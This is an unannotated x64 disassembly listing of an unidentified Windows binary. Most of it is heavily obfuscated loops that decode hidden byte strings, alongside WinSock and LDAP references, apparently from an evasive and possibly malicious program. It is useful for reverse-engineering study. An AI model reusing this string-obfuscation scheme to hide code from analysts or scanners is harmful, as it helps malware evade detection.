jne 0x14007b51e
movabs rcx, 0x17f7cff26ec8e17a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x14007b76c
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007b556
movabs rdx, 0x33b646c11f708f20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007ab42
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007af84
movabs rdx, 0x6b33345e80bfea6c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007b6ec
movabs rdx, 0xa2b021fbe20f45b8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xc30]
sub r10b, al
sub r10b, 8
add r10b, dl
add r10b, r11b
jmp 0x14007b76c
movabs rdx, 0xbe6e98ca92b6f35e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xc30]
add r10b, dl
add r10b, r11b
jmp 0x14007b803
movabs rcx, 0x9d020cbe74c5ba25
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 3
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
movabs rdx, 0x65851f2113765ed9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x11
add r10b, dl
jmp 0x14007b803
movabs rcx, 0x49c6a85262ceb133
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
movabs rcx, 0xf68b43e650d7a841
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x39
dec rbx
inc rbx
jmp 0x14007ab42
movabs rdx, 0xbf0e5648ef884cf5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4d
add r10b, dl
jmp 0x14007b6ec
movabs rcx, 0x879168ab8e38f1a9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
movabs rcx, 0x14d0e69489bb6ee5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x43
add r11b, cl
mov byte [rbp + rbx + 0xc30], r11b
inc r9
dec rbx
inc rbx
jmp 0x14007ab42
movabs rcx, 0x6bd2f1dcdd914403
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
inc r9
dec rbx
inc rbx
jmp 0x14007ab42
movabs rcx, 0x3456043f7c41e8b7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
dec r10b
movabs rdx, 0x308f5d633a631c8b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x33
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xc30], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
movabs rcx, 0xfcd916a21af28d6b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x13
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ab42
mov r11, rdx
movabs rcx, 0xe11a9fd36a4adfc5
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x63
add r10b, cl
movabs rdx, 0x4c4dd431eb0aca31
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x57
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xc30], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xda2d0f99435ea104
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x1c
add r11b, cl
mov byte [rbp + rbx + 0xc30], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
movabs rcx, 0xa99db23608fb8479
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x4f
movzx eax, byte [rbp + rbx + 0xc30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ab42
movabs rcx, 0xb4f9dcb0e38e9b9f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x59
jmp 0x14007ab40
movabs rcx, 0x993b65e232e6edf9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
jmp 0x14007ab30
lea rcx, [rbp + 0x15461f4]
jmp 0x14007b914
lea rcx, [rbp + 0x16838c7]
jmp 0x14007b914
lea rcx, [rbp + 0xc30]
mov rdx, rdi
call fcn.140035c60
lea rcx, str.Settings
call fcn.140036770
lea rdx, [0x140226230]
lea rcx, [rbp + 0x588]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1f0
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, str.Head
mov rdi, qword [rsi + rcx*8]
mov byte [rbp + 0xc58], 0x82
mov byte [rbp + 0xc59], WSASetLastError
mov byte [rbp + 0xc5a], 0x66
mov byte [rbp + 0xc5b], 0x7a
mov byte [rbp + 0xc5c], 0xa4
mov byte [rbp + 0xc5d], __WSAFDIsSet
mov byte [rbp + 0xc5e], 0x67
mov byte [rbp + 0xc5f], 0x75
mov byte [rbp + 0xc60], 0x7c
mov byte [rbp + 0xc61], 0xc9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc62], xmm0
mov qword [rbp + 0xc72], rax
mov byte [rbp + 0xc7a], al
movabs r15, 0xb77c27445f369760
movabs r13, 0x755a593e763894a0
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
movabs rcx, 0x51e157340488b1e0
cmp rbx, 0x23
jae 0x14007c750
movzx r11d, byte [rbp + rbx + 0xc58]
mov rdx, r11
cmp r8, rbx
ja 0x14007c747
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007ba3d
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x20
jmp 0x14007ba70
je 0x14007c6bd
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c68a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007c653
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007c5fa
nop word [rax + rax]
cmp r9, rbx
ja 0x14007c73e
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14007ba9f
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007bae0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007c5eb
inc rax
cmp r8, rax
je 0x14007c5be
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007c59e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c505
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007c4cb
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007c176
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007c150
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007c127
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007c0fd
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007c0d9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007c09d
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007c06d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007c049
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007c025
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007bfeb
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007baf0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007c71a
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007c6f1
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007bcea
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007bcc6
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14007bcab
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007bf83
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14007bf20
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14007bed4
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14007bea4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14007baf0
lea r8, [r9 + 9]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007be73
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007be4f
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007be2b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007bdf2
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007bdbe
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007bd9a
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14007bd6f
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007bd3d
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007bd1d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007baf0
lea r8, [r9 + 8]
lea r9, [r8 + 0x41]
jmp 0x14007baf0
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14007bae0
movabs rcx, 0xd197aad66d2730e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x14007ba70
movabs rdx, 0x2dd4fc6e6415cd20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x51e157340488b1e0
jmp 0x14007ba0f
movabs rcx, 0xbbe13a22f9b4bb00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007c61d
movabs rdx, 0x181e8bbaf0a35740
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0x745bdd52e791f380
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0xd0992eeade808fc0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x14007c462
movabs rcx, 0x2cd68082d56f2c00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rdx, 0x8913d21acc5dc840
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0xe55123b2c34c6480
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007c528
movabs rcx, 0x418e754aba3b00c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x14007c558
movabs rcx, 0x9dcbc6e2b1299d00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
movabs rcx, 0x46512de9a7e23a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
mov byte [rbp + rbx + 0xc58], r10b
inc rbx
jmp 0x14007b9f2
movabs rcx, 0x60a26476916cbfe0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
cmp r9, 5
jb 0x14007bec4
movabs rcx, 0x9fc8beb9ce76df40
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 + 0x80]
jmp 0x14007c61d
movabs rdx, 0xbcdfb60e885b5c20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 6
jae 0x14007c43b
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14007c3a1
movabs rdx, 0x3a2deea973c8f9c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x14007bef3
movabs rdx, 0x191d07a67f49f860
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r9 + r8]
cmp rax, 8
je 0x14007c4a1
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x14007c28d
movabs rdx, 0x82b1c76514926260
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007bf44
movabs rdx, 0x4ce8eb9a3b478c40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
movabs rcx, 0xa9263d3232362880
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007c558
movabs rcx, 0x5638eca2924c4c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x14007c528
movabs rcx, 0x61a0e06220136100
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rdx, 0xbdde31fa1701fd40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0x1a1b83920df09980
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14007c462
movabs rcx, 0x7658d52a04df35c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
dec rbx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0xd29626c1fbcdd200
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r9
dec rbx
inc rbx
jmp 0x14007b9f2
movabs rdx, 0x2ed37859f2bc6e40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14007c61a
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x14007c1a3
movabs rcx, 0x51e157340488b1e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x14007bfa7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c1e2
movabs rcx, 0x6ef84e88be6d2ec0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c211
movabs rdx, 0xb67dab58d08ff640
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14007c525
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007c251
movabs rcx, 0xfe030828e2b2bdc0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007bfa7
movabs rdx, 0x458864f8f4d58540
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c2bc
movabs rdx, 0x267475cd1da3c620
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14007c61a
inc rax
cmp r8, rax
jne 0x14007c2f2
movabs rcx, 0xca37243526b529e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007c326
movabs rcx, 0x6df9d29d2fc68da0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007c358
movabs rdx, 0x11bc810538d7f160
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007c462
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007bf44
movabs rdx, 0xb57f2f6d41e95520
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c3df
movabs rcx, 0xddf09d117cda5d80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c409
movabs rdx, 0x2575f9e18efd2500
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
jmp 0x14007c525
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007bef3
movabs rdx, 0xfc061051c5657b80
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
jmp 0x14007c61a
movabs rdx, 0x438b6d21d7884300
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xc58]
sub r10b, al
add r10b, dl
add r10b, r11b
movabs rcx, 0x956cc455dc10f4e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x20
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xc58], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rdx, 0xe74e1b89e099a6c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xc58]
sub r10b, 0x40
jmp 0x14007c525
movabs rdx, 0x795448ecb0d31920
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
movabs rdx, 0x31ceec1c9eb051a0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
movabs rcx, 0x392f72bde52258a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x60
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xc58], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x8b10c9f1e9ab0a80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x80
add cl, r11b
mov byte [rbp + rbx + 0xc58], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
movabs rcx, 0x8e0c3db4959eede0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14007c6a4
movabs rcx, 0xff01841471595ee0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14007b9f2
movabs rdx, 0x5b3ed5ac6847fb20
jmp 0x14007c2a0
movabs rdx, 0x13b978dc562533a0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
movabs rdx, 0xf1aa15edd2ff9120
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xc58], cl
inc r9
dec rbx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0x84aebf3c31dfa4a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0xe0ec10d428ce40e0
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x20
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007b9f2
movabs rcx, 0xf5a4059c0d9a15a0
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x60
movzx eax, byte [rbp + rbx + 0xc58]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007b9f2
movabs rdx, 0x8a124e065b046960
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b9ee
movabs rcx, 0xe64f9f9e51f305a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14007b9dc
lea rcx, [rbp + 0x1578ed8]
jmp 0x14007c757
lea rcx, [rbp + 0xe040b8]
jmp 0x14007c757
lea rcx, [rbp + 0xc58]
xor r8d, r8d
mov rdx, rdi
call fcn.140036bc0
test al, al
je 0x14007c7b5
xor ebx, ebx
nop dword [rax + rax]
mov edi, dword [r14]
cmp edi, ebx
sete dl
mov dword [rbp - 0x74], 0
mov dword [rbp - 0x70], 0
lea r9, [rbp - 0x74]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x14007c79c
mov dword [r14], ebx
cmp edi, ebx
jne 0x14007c7a5
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 4
jl 0x14007c770
call fcn.140018d80
mov byte [rbp + 0xc80], Ordinal_50
mov byte [rbp + 0xc81], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xc82], gethostname
mov byte [rbp + 0xc83], gethostname
mov byte [rbp + 0xc84], 8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc85], xmm0
mov qword [rbp + 0xc95], rax
mov dword [rbp + 0xc9d], eax
mov word [rbp + 0xca1], ax
movabs r13, 0xba0ea0c3d2dcf182
movabs r14, 0x433330104c1fcfaa
movabs r15, 0x91d408cbd83d3e92
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor esi, esi
movabs rbx, 0x8a83a6e269c47d92
movabs rdx, 0x72be29f1b538439a
movabs rcx, 0x5af8ad0100ac09a2
cmp rsi, 0x23
jae 0x14007d3f8
movzx edi, byte [rbp + rsi + 0xc80]
mov r11d, edi
cmp r8, rsi
ja 0x14007d3ef
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007c891
lea rcx, [rsi + r13]
mov rax, rcx
and rax, rdi
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdi
add r10b, 0x72
jmp 0x14007c8d0
je 0x14007d35a
inc rax
cmp r8, rax
je 0x14007d2ee
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d2be
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007d266
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007d243
nop word [rax + rax]
cmp r9, rsi
ja 0x14007d3e6
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x14007c8ff
lea rdx, [rsi + r14]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14007c933
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007d1ed
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007d1be
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007d18a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d150
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14007cd54
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007cd2f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14007cd01
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007ccd9
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007ccb3
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007cc8a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007cc50
mov r8, rax
lea r9, [rax + 2]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007d3bd
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007d394
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007ca45
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007cbb3
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007cb5c
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14007c940
mov r8, rax
lea r9, [rax + 8]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007cb27
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007cafe
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007cac2
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007ca93
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007ca65
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007c940
mov r8, rax
lea r9, [rax + 3]
jmp 0x14007c940
lea rdx, [rsi + r15]
movzx eax, dil
and al, dl
